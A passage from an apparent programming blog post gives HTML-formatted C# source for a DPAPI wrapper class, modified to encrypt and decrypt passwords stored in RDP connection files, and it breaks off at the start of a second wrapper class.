NOTES:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * I modified this a little bit to allow us to encrypt/decrypt a password for RDP Files&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Changes Made:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * ORG: public byte[] Encrypt(byte[] plainText, byte[] optionalEntropy)&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * NEW: public byte[] Encrypt(byte[] plainText, byte[] optionalEntropy, string DataDescription)&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * ORG:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * retVal = CryptProtectData(ref plainTextBlob, null, ref entropyBlob,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                IntPtr.Zero, ref prompt, dwFlags,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                ref cipherTextBlob);&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * NEW:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * retVal = CryptProtectData(ref plainTextBlob, DataDescription, ref entropyBlob,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                IntPtr.Zero, ref prompt, dwFlags,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                ref cipherTextBlob);&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * ORG: Decrypt(byte[] cipherText, byte[] optionalEntropy)&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * NEW: Decrypt(byte[] cipherText, byte[] optionalEntropy, string DataDescription)&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * ORG: &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * retVal = CryptUnprotectData(ref cipherBlob, null, ref &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;      entropyBlob,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                                            IntPtr.Zero, ref prompt, dwFlags,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                                            ref plainTextBlob);&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * NEW:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * retVal = CryptUnprotectData(ref cipherBlob, DataDescription, ref &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;      entropyBlob,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                                            IntPtr.Zero, ref prompt, dwFlags,&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;                                            ref plainTextBlob);&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; */&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Runtime.InteropServices;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;namespace&lt;/span&gt; DataProtection&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; DataProtector&lt;br /&gt;    {&lt;br /&gt;        [DllImport(&lt;span class="str"&gt;&amp;quot;Crypt32.dll&amp;quot;&lt;/span&gt;, SetLastError = &lt;span class="kwrd"&gt;true&lt;/span&gt;,&lt;br /&gt;            CharSet = System.Runtime.InteropServices.CharSet.Auto)]&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;extern&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; CryptProtectData(&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; DATA_BLOB pDataIn,&lt;br /&gt;                                          String szDataDescr,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; DATA_BLOB pOptionalEntropy,&lt;br /&gt;                                          IntPtr pvReserved,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; CRYPTPROTECT_PROMPTSTRUCT&lt;br /&gt;                                            pPromptStruct,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;int&lt;/span&gt; dwFlags,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; DATA_BLOB pDataOut);&lt;br /&gt;        [DllImport(&lt;span class="str"&gt;&amp;quot;Crypt32.dll&amp;quot;&lt;/span&gt;, SetLastError = &lt;span class="kwrd"&gt;true&lt;/span&gt;,&lt;br /&gt;                    CharSet = System.Runtime.InteropServices.CharSet.Auto)]&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;extern&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; CryptUnprotectData(&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; DATA_BLOB pDataIn,&lt;br /&gt;                                          String szDataDescr,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; DATA_BLOB pOptionalEntropy,&lt;br /&gt;                                          IntPtr pvReserved,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; CRYPTPROTECT_PROMPTSTRUCT&lt;br /&gt;                                            pPromptStruct,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;int&lt;/span&gt; dwFlags,&lt;br /&gt;                                          &lt;span class="kwrd"&gt;ref&lt;/span&gt; DATA_BLOB pDataOut);&lt;br /&gt;        [DllImport(&lt;span class="str"&gt;&amp;quot;kernel32.dll&amp;quot;&lt;/span&gt;,&lt;br /&gt;                    CharSet = System.Runtime.InteropServices.CharSet.Auto)]&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;unsafe&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;extern&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; FormatMessage(&lt;span class="kwrd"&gt;int&lt;/span&gt; dwFlags,&lt;br /&gt;                                                       &lt;span class="kwrd"&gt;ref&lt;/span&gt; IntPtr lpSource,&lt;br /&gt;                                                       &lt;span class="kwrd"&gt;int&lt;/span&gt; dwMessageId,&lt;br /&gt;                                                       &lt;span class="kwrd"&gt;int&lt;/span&gt; dwLanguageId,&lt;br /&gt;                                                       &lt;span class="kwrd"&gt;ref&lt;/span&gt; String lpBuffer,&lt;br /&gt;                                                         &lt;span class="kwrd"&gt;int&lt;/span&gt; nSize,&lt;br /&gt;                                                       IntPtr* Arguments);&lt;br /&gt;&lt;br /&gt;        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;        &lt;span class="kwrd"&gt;internal&lt;/span&gt; &lt;span class="kwrd"&gt;struct&lt;/span&gt; DATA_BLOB&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; cbData;&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; IntPtr pbData;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;        &lt;span class="kwrd"&gt;internal&lt;/span&gt; &lt;span class="kwrd"&gt;struct&lt;/span&gt; CRYPTPROTECT_PROMPTSTRUCT&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; cbSize;&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; dwPromptFlags;&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; IntPtr hwndApp;&lt;br /&gt;            &lt;span class="kwrd"&gt;public&lt;/span&gt; String szPrompt;&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;private&lt;/span&gt; IntPtr NullPtr = ((IntPtr)((&lt;span class="kwrd"&gt;int&lt;/span&gt;)(0)));&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;const&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; CRYPTPROTECT_UI_FORBIDDEN = 0x1;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;const&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; CRYPTPROTECT_LOCAL_MACHINE = 0x4;&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;enum&lt;/span&gt; Store { USE_MACHINE_STORE = 1, USE_USER_STORE };&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; Store store;&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; DataProtector(Store tempStore)&lt;br /&gt;        {&lt;br /&gt;            store = tempStore;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] Encrypt(&lt;span class="kwrd"&gt;byte&lt;/span&gt;[] plainText, &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] optionalEntropy, &lt;span class="kwrd"&gt;string&lt;/span&gt; DataDescription)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;bool&lt;/span&gt; retVal = &lt;span class="kwrd"&gt;false&lt;/span&gt;;&lt;br /&gt;            DATA_BLOB plainTextBlob = &lt;span class="kwrd"&gt;new&lt;/span&gt; DATA_BLOB();&lt;br /&gt;            DATA_BLOB cipherTextBlob = &lt;span class="kwrd"&gt;new&lt;/span&gt; DATA_BLOB();&lt;br /&gt;            DATA_BLOB entropyBlob = &lt;span class="kwrd"&gt;new&lt;/span&gt; DATA_BLOB();&lt;br /&gt;            CRYPTPROTECT_PROMPTSTRUCT prompt = &lt;span class="kwrd"&gt;new&lt;/span&gt; CRYPTPROTECT_PROMPTSTRUCT();&lt;br /&gt;            InitPromptstruct(&lt;span class="kwrd"&gt;ref&lt;/span&gt; prompt);&lt;br /&gt;            &lt;span class="kwrd"&gt;int&lt;/span&gt; dwFlags;&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;int&lt;/span&gt; bytesSize = plainText.Length;&lt;br /&gt;                    plainTextBlob.pbData = Marshal.AllocHGlobal(bytesSize);&lt;br /&gt;                    &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero == plainTextBlob.pbData)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Unable to allocate plaintext buffer.&amp;quot;&lt;/span&gt;);&lt;br /&gt;                    }&lt;br /&gt;                    plainTextBlob.cbData = bytesSize;&lt;br /&gt;                    Marshal.Copy(plainText, 0, plainTextBlob.pbData, bytesSize);&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Exception marshalling data. &amp;quot;&lt;/span&gt; + ex.Message);&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (Store.USE_MACHINE_STORE == store)&lt;br /&gt;                {&lt;span class="rem"&gt;//Using the machine store, should be providing entropy.&lt;/span&gt;&lt;br /&gt;                    dwFlags = CRYPTPROTECT_LOCAL_MACHINE | CRYPTPROTECT_UI_FORBIDDEN;&lt;br /&gt;                    &lt;span class="rem"&gt;//Check to see if the entropy is null&lt;/span&gt;&lt;br /&gt;                    &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;null&lt;/span&gt; == optionalEntropy)&lt;br /&gt;                    {&lt;span class="rem"&gt;//Allocate something&lt;/span&gt;&lt;br /&gt;                        optionalEntropy = &lt;span class="kwrd"&gt;new&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[0];&lt;br /&gt;                    }&lt;br /&gt;                    &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span class="kwrd"&gt;int&lt;/span&gt; bytesSize = optionalEntropy.Length;&lt;br /&gt;                        entropyBlob.pbData = Marshal.AllocHGlobal(optionalEntropy.Length); ;&lt;br /&gt;                        &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero == entropyBlob.pbData)&lt;br /&gt;                        {&lt;br /&gt;                            &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Unable to allocate entropy data buffer.&amp;quot;&lt;/span&gt;);&lt;br /&gt;                        }&lt;br /&gt;                        Marshal.Copy(optionalEntropy, 0, entropyBlob.pbData, bytesSize);&lt;br /&gt;                        entropyBlob.cbData = bytesSize;&lt;br /&gt;                    }&lt;br /&gt;                    &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Exception entropy marshalling data. &amp;quot;&lt;/span&gt; +&lt;br /&gt;                        ex.Message);&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                {&lt;span class="rem"&gt;//Using the user store&lt;/span&gt;&lt;br /&gt;                    dwFlags = CRYPTPROTECT_UI_FORBIDDEN;&lt;br /&gt;                }&lt;br /&gt;                retVal = CryptProtectData(&lt;span class="kwrd"&gt;ref&lt;/span&gt; plainTextBlob, DataDescription, &lt;span class="kwrd"&gt;ref&lt;/span&gt; entropyBlob,&lt;br /&gt;                IntPtr.Zero, &lt;span class="kwrd"&gt;ref&lt;/span&gt; prompt, dwFlags,&lt;br /&gt;                &lt;span class="kwrd"&gt;ref&lt;/span&gt; cipherTextBlob);&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;false&lt;/span&gt; == retVal)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Encryption failed. &amp;quot;&lt;/span&gt; +&lt;br /&gt;                    GetErrorMessage(Marshal.GetLastWin32Error()));&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="rem"&gt;//Free the blob and entropy.&lt;/span&gt;&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero != plainTextBlob.pbData)&lt;br /&gt;                {&lt;br /&gt;                    Marshal.FreeHGlobal(plainTextBlob.pbData);&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero != entropyBlob.pbData)&lt;br /&gt;                {&lt;br /&gt;                    Marshal.FreeHGlobal(entropyBlob.pbData);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Exception encrypting. &amp;quot;&lt;/span&gt; + ex.Message);&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] cipherText = &lt;span class="kwrd"&gt;new&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[cipherTextBlob.cbData];&lt;br /&gt;            Marshal.Copy(cipherTextBlob.pbData, cipherText, 0, cipherTextBlob.cbData);&lt;br /&gt;            Marshal.FreeHGlobal(cipherTextBlob.pbData);&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; cipherText;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] Decrypt(&lt;span class="kwrd"&gt;byte&lt;/span&gt;[] cipherText, &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] optionalEntropy, &lt;span class="kwrd"&gt;string&lt;/span&gt; DataDescription)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;bool&lt;/span&gt; retVal = &lt;span class="kwrd"&gt;false&lt;/span&gt;;&lt;br /&gt;            DATA_BLOB plainTextBlob = &lt;span class="kwrd"&gt;new&lt;/span&gt; DATA_BLOB();&lt;br /&gt;            DATA_BLOB cipherBlob = &lt;span class="kwrd"&gt;new&lt;/span&gt; DATA_BLOB();&lt;br /&gt;            CRYPTPROTECT_PROMPTSTRUCT prompt = &lt;span class="kwrd"&gt;new&lt;/span&gt;&lt;br /&gt;              CRYPTPROTECT_PROMPTSTRUCT();&lt;br /&gt;            InitPromptstruct(&lt;span class="kwrd"&gt;ref&lt;/span&gt; prompt);&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;int&lt;/span&gt; cipherTextSize = cipherText.Length;&lt;br /&gt;                    cipherBlob.pbData = Marshal.AllocHGlobal(cipherTextSize);&lt;br /&gt;                    &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero == cipherBlob.pbData)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Unable to allocate cipherText buffer.&amp;quot;&lt;/span&gt;);&lt;br /&gt;                    }&lt;br /&gt;                    cipherBlob.cbData = cipherTextSize;&lt;br /&gt;                    Marshal.Copy(cipherText, 0, cipherBlob.pbData,&lt;br /&gt;                      cipherBlob.cbData);&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Exception marshalling data. &amp;quot;&lt;/span&gt; +&lt;br /&gt;                      ex.Message);&lt;br /&gt;                }&lt;br /&gt;                DATA_BLOB entropyBlob = &lt;span class="kwrd"&gt;new&lt;/span&gt; DATA_BLOB();&lt;br /&gt;                &lt;span class="kwrd"&gt;int&lt;/span&gt; dwFlags;&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (Store.USE_MACHINE_STORE == store)&lt;br /&gt;                {&lt;span class="rem"&gt;//Using the machine store, should be providing entropy.&lt;/span&gt;&lt;br /&gt;                    dwFlags =&lt;br /&gt;                      CRYPTPROTECT_LOCAL_MACHINE | CRYPTPROTECT_UI_FORBIDDEN;&lt;br /&gt;                    &lt;span class="rem"&gt;//Check to see if the entropy is null&lt;/span&gt;&lt;br /&gt;                    &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;null&lt;/span&gt; == optionalEntropy)&lt;br /&gt;                    {&lt;span class="rem"&gt;//Allocate something&lt;/span&gt;&lt;br /&gt;                        optionalEntropy = &lt;span class="kwrd"&gt;new&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[0];&lt;br /&gt;                    }&lt;br /&gt;                    &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span class="kwrd"&gt;int&lt;/span&gt; bytesSize = optionalEntropy.Length;&lt;br /&gt;                        entropyBlob.pbData = Marshal.AllocHGlobal(bytesSize);&lt;br /&gt;                        &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero == entropyBlob.pbData)&lt;br /&gt;                        {&lt;br /&gt;                            &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Unable to allocate entropy buffer.&amp;quot;&lt;/span&gt;);&lt;br /&gt;                        }&lt;br /&gt;                        entropyBlob.cbData = bytesSize;&lt;br /&gt;                        Marshal.Copy(optionalEntropy, 0, entropyBlob.pbData,&lt;br /&gt;                          bytesSize);&lt;br /&gt;                    }&lt;br /&gt;                    &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Exception entropy marshalling data. &amp;quot;&lt;/span&gt; +&lt;br /&gt;                                            ex.Message);&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                {&lt;span class="rem"&gt;//Using the user store&lt;/span&gt;&lt;br /&gt;                    dwFlags = CRYPTPROTECT_UI_FORBIDDEN;&lt;br /&gt;                }&lt;br /&gt;                retVal = CryptUnprotectData(&lt;span class="kwrd"&gt;ref&lt;/span&gt; cipherBlob, DataDescription, &lt;span class="kwrd"&gt;ref&lt;/span&gt; &lt;br /&gt;      entropyBlob,&lt;br /&gt;                                            IntPtr.Zero, &lt;span class="kwrd"&gt;ref&lt;/span&gt; prompt, dwFlags,&lt;br /&gt;                                            &lt;span class="kwrd"&gt;ref&lt;/span&gt; plainTextBlob);&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;false&lt;/span&gt; == retVal)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Decryption failed. &amp;quot;&lt;/span&gt; +&lt;br /&gt;                                   GetErrorMessage(Marshal.GetLastWin32Error()));&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="rem"&gt;//Free the blob and entropy.&lt;/span&gt;&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero != cipherBlob.pbData)&lt;br /&gt;                {&lt;br /&gt;                    Marshal.FreeHGlobal(cipherBlob.pbData);&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (IntPtr.Zero != entropyBlob.pbData)&lt;br /&gt;                {&lt;br /&gt;                    Marshal.FreeHGlobal(entropyBlob.pbData);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Exception decrypting. &amp;quot;&lt;/span&gt; + ex.Message);&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] plainText = &lt;span class="kwrd"&gt;new&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[plainTextBlob.cbData];&lt;br /&gt;            Marshal.Copy(plainTextBlob.pbData, plainText, 0, plainTextBlob.cbData);&lt;br /&gt;            Marshal.FreeHGlobal(plainTextBlob.pbData);&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; plainText;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; InitPromptstruct(&lt;span class="kwrd"&gt;ref&lt;/span&gt; CRYPTPROTECT_PROMPTSTRUCT ps)&lt;br /&gt;        {&lt;br /&gt;            ps.cbSize = Marshal.SizeOf(&lt;span class="kwrd"&gt;typeof&lt;/span&gt;(CRYPTPROTECT_PROMPTSTRUCT));&lt;br /&gt;            ps.dwPromptFlags = 0;&lt;br /&gt;            ps.hwndApp = NullPtr;&lt;br /&gt;            ps.szPrompt = &lt;span class="kwrd"&gt;null&lt;/span&gt;;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;unsafe&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; String GetErrorMessage(&lt;span class="kwrd"&gt;int&lt;/span&gt; errorCode)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;int&lt;/span&gt; FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100;&lt;br /&gt;            &lt;span class="kwrd"&gt;int&lt;/span&gt; FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200;&lt;br /&gt;            &lt;span class="kwrd"&gt;int&lt;/span&gt; FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000;&lt;br /&gt;            &lt;span class="kwrd"&gt;int&lt;/span&gt; messageSize = 255;&lt;br /&gt;            String lpMsgBuf = &lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;int&lt;/span&gt; dwFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER |&lt;br /&gt;              FORMAT_MESSAGE_FROM_SYSTEM |&lt;br /&gt;                          FORMAT_MESSAGE_IGNORE_INSERTS;&lt;br /&gt;            IntPtr ptrlpSource = &lt;span class="kwrd"&gt;new&lt;/span&gt; IntPtr();&lt;br /&gt;            IntPtr prtArguments = &lt;span class="kwrd"&gt;new&lt;/span&gt; IntPtr();&lt;br /&gt;            &lt;span class="kwrd"&gt;int&lt;/span&gt; retVal = FormatMessage(dwFlags, &lt;span class="kwrd"&gt;ref&lt;/span&gt; ptrlpSource, errorCode, 0,&lt;br /&gt;                                       &lt;span class="kwrd"&gt;ref&lt;/span&gt; lpMsgBuf, messageSize,&lt;br /&gt;                                         &amp;amp;prtArguments);&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (0 == retVal)&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Failed to format message for error code &amp;quot;&lt;/span&gt; +&lt;br /&gt;                                    errorCode + &lt;span class="str"&gt;&amp;quot;. &amp;quot;&lt;/span&gt;);&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; lpMsgBuf;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;and the wrapper to make things easier&lt;/p&gt;&lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Author: Jayson Ragasa | aka: Nullstring&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Application Developer - Anomalist Designs LLC&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * --&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Made a wrapper for DataProtector so I could&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Encrypt/Decrypt valid password for RDP&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * TAKE NOTE:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * This can't Decrypt MSTSC Password!&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections.Generic;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;namespace&lt;/span&gt; DataProtection&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; DataProtectionForRDPWrapper&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; DataProtection.DataProtector dp = &lt;span 